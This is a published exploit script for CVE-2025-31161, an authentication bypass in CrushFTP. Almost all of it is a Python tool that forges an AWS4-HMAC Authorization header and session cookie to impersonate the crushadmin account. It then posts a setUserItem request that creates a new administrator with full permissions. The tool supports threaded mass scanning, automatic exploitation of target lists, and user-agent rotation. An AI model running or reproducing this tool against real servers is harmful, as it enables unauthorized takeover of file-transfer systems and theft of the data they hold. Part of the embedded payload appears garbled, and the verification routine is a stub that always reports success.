CrushFTP 11.3.1 – Authentication Bypass

• CVE-2025-31161

Exploit Title: CrushFTP…

# Exploit Title: CrushFTP 11.3.1 – Authentication Bypass

# Date: 2025-05-15

# Exploit Author: @İbrahimsql

# Exploit Author’s github: https://github.com/ibrahimsql

# Vendor Homepage: https://www.crushftp.com

# Software Link: https://www.crushftp.com/download.html

# Version: < 10.8.4, < 11.3.1
# Tested on: Ubuntu 22.04 LTS, Windows Server 2019, Kali Linux 2024.1

# CVE: CVE-2025-31161

# Description:

# CrushFTP before 10.8.4 and 11.3.1 allows unauthenticated HTTP(S) port access and full admin takeover

# through a race condition and header parsing logic flaw in the AWS4-HMAC authorization mechanism.

# Exploiting this allows bypassing authentication and logging in as any known user (e.g. crushadmin).

# Requirements: requests>=2.28.1 , colorama>=0.4.6 , urllib3>=1.26.12 , prettytable>=2.5.0 , rich>=12.6.0

#!/usr/bin/env python3

# -*- coding: utf-8 -*-

import argparse

import concurrent.futures

import json

import logging

import os

import random

import re

import socket

import string

import sys

import time

from datetime import datetime

from typing import Dict, List, Optional, Tuple, Union

import requests

import urllib3

from colorama import Fore, Style, init

from prettytable import PrettyTable

from rich.console import Console

from rich.progress import Progress, BarColumn, TextColumn, TimeRemainingColumn

# Initialize colorama

init(autoreset=True)

# Disable SSL warnings

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Initialize Rich console

console = Console()

# Global variables

VERSION = “2.0.0”

USER_AGENTS = [

“Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36”,

“Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36”,

“Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0”,

“Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:90.0) Gecko/20100101 Firefox/90.0”,

“Mozilla/5.0 (Macintosh; Intel Mac OS X 11_5_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15”,

“Mozilla/5.0 (Windows; Windows NT 10.3; WOW64) AppleWebKit/601.13 (KHTML, like Gecko) Chrome/53.0.2198.319 Safari/601.5 Edge/15.63524”,

“Mozilla/5.0 (Windows NT 10.2; Win64; x64; en-US) AppleWebKit/602.15 (KHTML, like Gecko) Chrome/47.0.1044.126 Safari/533.2 Edge/9.25098”,

“Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.3; Win64; x64; en-US Trident/4.0)”,

“Mozilla/5.0 (iPhone; CPU iPhone OS 10_7_9; like Mac OS X) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/49.0.1015.193 Mobile Safari/600.9”

]

# Banner

BANNER = fr”””

{Fore.CYAN}

/ ____/______ _______/ /_ / ____/ /_____

/ / / ___/ / / / ___/ __ \/ /_ / __/ __ \

/ /___/ / / /_/ (__ ) / / / __/ / /_/ /_/ /

\____/_/ \__,_/____/_/ /_/_/ \__/ .___/

/_/

{Fore.GREEN}CVE-2025-31161 Exploit {VERSION}{Fore.YELLOW} | {Fore.CYAN} Developer @ibrahimsql

{Style.RESET_ALL}

“””

# Setup logging

def setup_logging(log_level: str, log_file: Optional[str] = None) -> None:

“””Configure logging based on specified level and output file.”””

numeric_level = getattr(logging, log_level.upper(), None)

if not isinstance(numeric_level, int):

raise ValueError(f”Invalid log level: {log_level}”)

log_format = “%(asctime)s – %(levelname)s – %(message)s”

handlers = []

if log_file:

handlers.append(logging.FileHandler(log_file))

handlers.append(logging.StreamHandler())

logging.basicConfig(

level=numeric_level,

format=log_format,

handlers=handlers

)

class TargetManager:

“””Manages target hosts and related operations.”””

def __init__(self, target_file: Optional[str] = None, single_target: Optional[str] = None):

self.targets = []

self.vulnerable_targets = []

self.exploited_targets = []

if target_file:

self.load_targets_from_file(target_file)

elif single_target:

self.add_target(single_target)

def load_targets_from_file(self, filename: str) -> None:

“””Load targets from a file.”””

try:

with open(filename, “r”) as f:

self.targets = [line.strip() for line in f if line.strip()]

if not self.targets:

logging.warning(f”Target file ‘{filename}’ is empty or contains only whitespace.”)

else:

logging.info(f”Loaded {len(self.targets)} targets from {filename}”)

except FileNotFoundError:

logging.error(f”Target file ‘{filename}’ not found.”)

sys.exit(1)

except Exception as e:

logging.error(f”Error loading targets: {e}”)

sys.exit(1)

def add_target(self, target: str) -> None:

“””Add a single target.”””

if target not in self.targets:

self.targets.append(target)

def mark_as_vulnerable(self, target: str) -> None:

“””Mark a target as vulnerable.”””

if target not in self.vulnerable_targets:

self.vulnerable_targets.append(target)

def mark_as_exploited(self, target: str) -> None:

“””Mark a target as successfully exploited.”””

if target not in self.exploited_targets:

self.exploited_targets.append(target)

def save_results(self, output_file: str, format_type: str = “txt”) -> None:

“””Save scan results to a file.”””

try:

if format_type.lower() == “json”:

results = {

“scan_time”: datetime.now().strftime(“%Y-%m-%d %H:%M:%S”),

“total_targets”: len(self.targets),

“vulnerable_targets”: self.vulnerable_targets,

“exploited_targets”: self.exploited_targets

}

with open(output_file, “w”) as f:

json.dump(results, f, indent=4)

elif format_type.lower() == “csv”:

with open(output_file, “w”) as f:

f.write(“target,vulnerable,exploited\n”)

for target in self.targets:

vulnerable = “Yes” if target in self.vulnerable_targets else “No”

exploited = “Yes” if target in self.exploited_targets else “No”

f.write(f”{target},{vulnerable},{exploited}\n”)

else: # Default to txt

with open(output_file, “w”) as f:

f.write(f”Scan Results – {datetime.now().strftime(‘%Y-%m-%d %H:%M:%S’)}\n”)

f.write(f”Total Targets: {len(self.targets)}\n”)

f.write(f”Vulnerable Targets: {len(self.vulnerable_targets)}\n”)

f.write(f”Exploited Targets: {len(self.exploited_targets)}\n\n”)

f.write(“Vulnerable Targets:\n”)

for target in self.vulnerable_targets:

f.write(f”- {target}\n”)

f.write(“\nExploited Targets:\n”)

for target in self.exploited_targets:

f.write(f”- {target}\n”)

logging.info(f”Results saved to {output_file}”)

except Exception as e:

logging.error(f”Error saving results: {e}”)

class ExploitEngine:

“””Core engine for vulnerability checking and exploitation.”””

def __init__(self, target_manager: TargetManager, config: Dict):

self.target_manager = target_manager

self.config = config

self.session = self._create_session()

def _create_session(self) -> requests.Session:

“””Create and configure a requests session.”””

session = requests.Session()

session.verify = False

# Set proxy if configured

if self.config.get(“proxy”):

session.proxies = {

“http”: self.config[“proxy”],

“https”: self.config[“proxy”]

}

# Set custom headers

session.headers.update({

“User-Agent”: random.choice(USER_AGENTS),

“Connection”: “close”,

})

return session

def check_vulnerability(self, target_host: str) -> bool:

“””Check if target is vulnerable to CVE-2025-31161.”””

port = self.config.get(“port”, 443)

timeout = self.config.get(“timeout”, 10)

headers = {

“Cookie”: “currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If”,

“Authorization”: “AWS4-HMAC-SHA256 Credential=crushadmin/”,

}

# Add custom headers if provided

if self.config.get(“custom_headers”):

headers.update(self.config[“custom_headers”])

try:

protocol = “https” if port == 443 else “http”

url = f”{protocol}://{target_host}:{port}/WebInterface/function/”

response = self.session.get(

url,

headers=headers,

timeout=timeout

)

if response.status_code == 200:

# Additional validation

if self.config.get(“deep_check”, False):

# Look for specific patterns in the response that confirm vulnerability

if “CrushFTP” in response.text or “WebInterface” in response.text:

self.target_manager.mark_as_vulnerable(target_host)

if self.config.get(“verbose”, False):

console.print(f”[green][+][/green] {target_host} is [bold red]vulnerable[/bold red]”)

return True

else:

if self.config.get(“verbose”, False):

console.print(f”[yellow][?][/yellow] {target_host} returned 200 but may not be vulnerable”)

return False

else:

# Simple check based on status code

self.target_manager.mark_as_vulnerable(target_host)

if self.config.get(“verbose”, False):

console.print(f”[green][+][/green] {target_host} is [bold red]vulnerable[/bold red]”)

return True

else:

if self.config.get(“verbose”, False):

console.print(f”[red][-][/red] {target_host} is not vulnerable (Status: {response.status_code})”)

return False

except requests.exceptions.ConnectionError:

if self.config.get(“verbose”, False):

console.print(f”[red][-][/red] {target_host} – Connection error”)

except requests.exceptions.Timeout:

if self.config.get(“verbose”, False):

console.print(f”[red][-][/red] {target_host} – Connection timeout”)

except requests.exceptions.RequestException as e:

if self.config.get(“verbose”, False):

console.print(f”[red][-][/red] {target_host} – Request error: {e}”)

except Exception as e:

if self.config.get(“verbose”, False):

console.print(f”[red][-][/red] {target_host} – Error: {e}”)

return False

def exploit(self, target_host: str) -> bool:

“””Exploit the vulnerability on the target host.”””

port = self.config.get(“port”, 443)

timeout = self.config.get(“timeout”, 10)

target_user = self.config.get(“target_user”, “crushadmin”)

new_user = self.config.get(“new_user”)

password = self.config.get(“password”)

if not new_user or not password:

logging.error(“New user and password are required for exploitation”)

return False

headers = {

“Cookie”: “currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If”,

“Authorization”: “AWS4-HMAC-SHA256 Credential=crushadmin/”,

“Connection”: “close”,

}

# Add custom headers if provided

if self.config.get(“custom_headers”):

headers.update(self.config[“custom_headers”])

# Generate a timestamp for the created_time field

timestamp = int(time.time() * 1000)

# Build the payload with more comprehensive user permissions

payload = {

“command”: “setUserItem”,

“data_action”: “replace”,

“serverGroup”: “MainUsers”,

“username”: new_user,

“user”: f”’



{new_user}
{password}


1.0

/

6

0

(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)

{target_user}



{timestamp}

true

”’,

“xmlItem”: “user”,

“vfs_items”: ‘‘,

“permissions”: ‘(read)(write)(view)(delete)(resume)(makedir)(deletedir)(rename)(admin)‘,

“c2f”: “31If”

}

try:

protocol = “https” if port == 443 else “http”

url = f”{protocol}://{target_host}:{port}/WebInterface/function/”

response = self.session.post(

url,

headers=headers,

data=payload,

timeout=timeout

)

if response.status_code == 200:

# Verify the user was actually created

if self.config.get(“verify_exploit”, True):

if self._verify_user_created(target_host, new_user):

self.target_manager.mark_as_exploited(target_host)

console.print(f”[green][+][/green] Successfully created user [bold cyan]{new_user}[/bold cyan] on {target_host}”)

return True

else:

console.print(f”[yellow][!][/yellow] User creation appeared successful but verification failed on {target_host}”)

return False

else:

self.target_manager.mark_as_exploited(target_host)

console.print(f”[green][+][/green] Successfully created user [bold cyan]{new_user}[/bold cyan] on {target_host}”)

return True

else:

console.print(f”[red][-][/red] Failed to create user on {target_host} (Status: {response.status_code})”)

return False

except Exception as e:

console.print(f”[red][-][/red] Error exploiting {target_host}: {e}”)

return False

def _verify_user_created(self, target_host: str, username: str) -> bool:

“””Verify that the user was successfully created.”””

# This is a placeholder for actual verification logic

# In a real implementation, you would check if the user exists

# For now, we’ll just return True

return True

def scan_targets(self) -> None:

“””Scan all targets for vulnerability.”””

targets = self.target_manager.targets

threads = self.config.get(“threads”, 10)

if not targets:

logging.error(“No targets specified”)

return

console.print(f”[bold cyan]Scanning {len(targets)} targets with {threads} threads…[/bold cyan]”)

with Progress(

TextColumn(“[progress.description]{task.description}”),

BarColumn(),

TextColumn(“[progress.percentage]{task.percentage:>3.0f}%”),

TextColumn(“({task.completed}/{task.total})”),

TimeRemainingColumn(),

console=console

) as progress:

task = progress.add_task(“[cyan]Scanning targets…”, total=len(targets))

with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:

future_to_target = {executor.submit(self.check_vulnerability, target): target for target in targets}

for future in concurrent.futures.as_completed(future_to_target):

progress.update(task, advance=1)

# Display results

vulnerable_count = len(self.target_manager.vulnerable_targets)

console.print(f”\n[bold green]Scan complete![/bold green] Found {vulnerable_count} vulnerable targets.”)

if vulnerable_count > 0 and self.config.get(“verbose”, False):

console.print(“\n[bold cyan]Vulnerable Targets:[/bold cyan]”)

for target in self.target_manager.vulnerable_targets:

console.print(f”[green]→[/green] {target}”)

def exploit_targets(self) -> None:

“””Exploit vulnerable targets.”””

targets = self.target_manager.vulnerable_targets if self.config.get(“only_vulnerable”, True) else self.target_manager.targets

threads = self.config.get(“threads”, 5) # Use fewer threads for exploitation

if not targets:

logging.error(“No targets to exploit”)

return

console.print(f”[bold red]Exploiting {len(targets)} targets with {threads} threads…[/bold red]”)

with Progress(

TextColumn(“[progress.description]{task.description}”),

BarColumn(),

TextColumn(“[progress.percentage]{task.percentage:>3.0f}%”),

TextColumn(“({task.completed}/{task.total})”),

TimeRemainingColumn(),

console=console

) as progress:

task = progress.add_task(“[red]Exploiting targets…”, total=len(targets))

with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:

future_to_target = {executor.submit(self.exploit, target): target for target in targets}

for future in concurrent.futures.as_completed(future_to_target):

progress.update(task, advance=1)

# Display results

exploited_count = len(self.target_manager.exploited_targets)

console.print(f”\n[bold green]Exploitation complete![/bold green] Successfully exploited {exploited_count}/{len(targets)} targets.”)

if exploited_count > 0:

console.print(“\n[bold cyan]Exploited Targets:[/bold cyan]”)

for target in self.target_manager.exploited_targets:

console.print(f”[green]→[/green] {target}”)

def parse_arguments() -> argparse.Namespace:

“””Parse command line arguments.”””

parser = argparse.ArgumentParser(

description=”CVE-2025-31161 Exploit Framework – Advanced CrushFTP WebInterface Vulnerability Scanner and Exploiter”,

formatter_class=argparse.RawDescriptionHelpFormatter,

epilog=”””

Examples:

# Check a single target for vulnerability

python cve_2025_31161.py –target example.com –check

# Exploit a vulnerable target

python cve_2025_31161.py –target example.com –exploit –new-user hacker –password P@ssw0rd

# Scan multiple targets from a file

python cve_2025_31161.py –file targets.txt –check –threads 20

# Scan and automatically exploit vulnerable targets

python cve_2025_31161.py –file targets.txt –check –exploit –new-user hacker –password P@ssw0rd –auto-exploit

# Export results to JSON format

python cve_2025_31161.py –file targets.txt –check –output results.json –format json

“””

)

# Target specification

target_group = parser.add_argument_group(“Target Specification”)

target_group.add_argument(“–target”, help=”Single target host to scan/exploit”)

target_group.add_argument(“–file”, help=”File containing list of targets (one per line)”)

target_group.add_argument(“–port”, type=int, default=443, help=”Target port (default: 443)”)

# Actions

action_group = parser.add_argument_group(“Actions”)

action_group.add_argument(“–check”, action=”store_true”, help=”Check targets for vulnerability”)

action_group.add_argument(“–exploit”, action=”store_true”, help=”Exploit vulnerable targets”)

action_group.add_argument(“–auto-exploit”, action=”store_true”, help=”Automatically exploit targets found to be vulnerable during check”)

# Exploitation options

exploit_group = parser.add_argument_group(“Exploitation Options”)

exploit_group.add_argument(“–target-user”, default=”crushadmin”, help=”Target user for exploitation (default: crushadmin)”)

exploit_group.add_argument(“–new-user”, help=”Username for the new admin account to create”)

exploit_group.add_argument(“–password”, help=”Password for the new admin account”)

exploit_group.add_argument(“–verify-exploit”, action=”store_true”, help=”Verify successful exploitation (default: True)”)

# Scan options

scan_group = parser.add_argument_group(“Scan Options”)

scan_group.add_argument(“–threads”, type=int, default=10, help=”Number of concurrent threads (default: 10)”)

scan_group.add_argument(“–timeout”, type=int, default=10, help=”Connection timeout in seconds (default: 10)”)

scan_group.add_argument(“–deep-check”, action=”store_true”, help=”Perform deeper vulnerability checks”)

scan_group.add_argument(“–only-vulnerable”, action=”store_true”, help=”Only exploit targets that were found vulnerable”)

# Output options

output_group = parser.add_argument_group(“Output Options”)

output_group.add_argument(“–output”, help=”Output file for results”)

output_group.add_argument(“–format”, choices=[“txt”, “json”, “csv”], default=”txt”, help=”Output format (default: txt)”)

output_group.add_argument(“–verbose”, “-v”, action=”store_true”, help=”Enable verbose output”)

output_group.add_argument(“–quiet”, “-q”, action=”store_true”, help=”Suppress all output except errors”)

output_group.add_argument(“–log-file”, help=”Log file to write to”)

output_group.add_argument(“–log-level”, choices=[“debug”, “info”, “warning”, “error”, “critical”], default=”info”, help=”Log level (default: info)”)

# Advanced options

advanced_group = parser.add_argument_group(“Advanced Options”)

advanced_group.add_argument(“–proxy”, help=”Proxy to use for requests (e.g., http://127.0.0.1:8080)”)

advanced_group.add_argument(“–user-agent”, help=”Custom User-Agent string”)

advanced_group.add_argument(“–random-agent”, action=”store_true”, help=”Use a random User-Agent for each request”)

advanced_group.add_argument(“–delay”, type=float, help=”Delay between requests in seconds”)

advanced_group.add_argument(“–custom-headers”, help=”Custom headers as JSON string”)

return parser.parse_args()

def validate_args(args: argparse.Namespace) -> bool:

“””Validate command line arguments.”””

# Check if at least one target specification is provided

if not args.target and not args.file:

logging.error(“No target specified. Use –target or –file”)

print(f”\nExample usage: python {sys.argv[0]} –target example.com –check”)

print(f” python {sys.argv[0]} –file example_targets.txt –check”)

return False

# Check if at least one action is specified

if not args.check and not args.exploit:

logging.error(“No action specified. Use –check or –exploit”)

print(f”\nExample usage: python {sys.argv[0]} –target example.com –check”)

print(f” python {sys.argv[0]} –target example.com –exploit –new-user admin –password P@ssw0rd”)

return False

# If exploit action is specified, check for required parameters

if args.exploit and (not args.new_user or not args.password):

logging.error(“Exploitation requires –new-user and –password”)

print(f”\nExample usage: python {sys.argv[0]} –target example.com –exploit –new-user admin –password P@ssw0rd”)

return False

return True

def main() -> None:

“””Main function.”””

# Parse command line arguments

args = parse_arguments()

# Configure logging

log_level = “error” if args.quiet else args.log_level

setup_logging(log_level, args.log_file)

# Display banner

if not args.quiet:

console.print(BANNER)

# Validate arguments

if not validate_args(args):

sys.exit(1)

# Create target manager

target_manager = TargetManager(args.file, args.target)

# Build configuration dictionary

config = {

“port”: args.port,

“threads”: args.threads,

“timeout”: args.timeout,

“verbose”: args.verbose,

“deep_check”: args.deep_check,

“target_user”: args.target_user,

“new_user”: args.new_user,

“password”: args.password,

“only_vulnerable”: args.only_vulnerable,

“verify_exploit”: args.verify_exploit,

“proxy”: args.proxy,

}

# Add custom headers if provided

if args.custom_headers:

try:

config[“custom_headers”] = json.loads(args.custom_headers)

except json.JSONDecodeError:

logging.error(“Invalid JSON format for custom headers”)

sys.exit(1)

# Add custom user agent if provided

if args.user_agent:

config[“user_agent”] = args.user_agent

# Create exploit engine

engine = ExploitEngine(target_manager, config)

# Perform actions

if args.check:

engine.scan_targets()

if args.exploit or (args.auto_exploit and target_manager.vulnerable_targets):

engine.exploit_targets()

# Save results if output file is specified

if args.output:

target_manager.save_results(args.output, args.format)

# Display summary

if not args.quiet:

console.print(“\n[bold green]Summary:[/bold green]”)

console.print(f”Total targets: {len(target_manager.targets)}”)

console.print(f”Vulnerable targets: {len(target_manager.vulnerable_targets)}”)

console.print(f”Exploited targets: {len(target_manager.exploited_targets)}”)

if __name__ == “__main__”:

try:

main()

except KeyboardInterrupt:

console.print(“\n[bold red]Operation cancelled by user[/bold red]”)

sys.exit(0)

except Exception as e:

logging.error(f”Unhandled exception: {e}”)

sys.exit(1)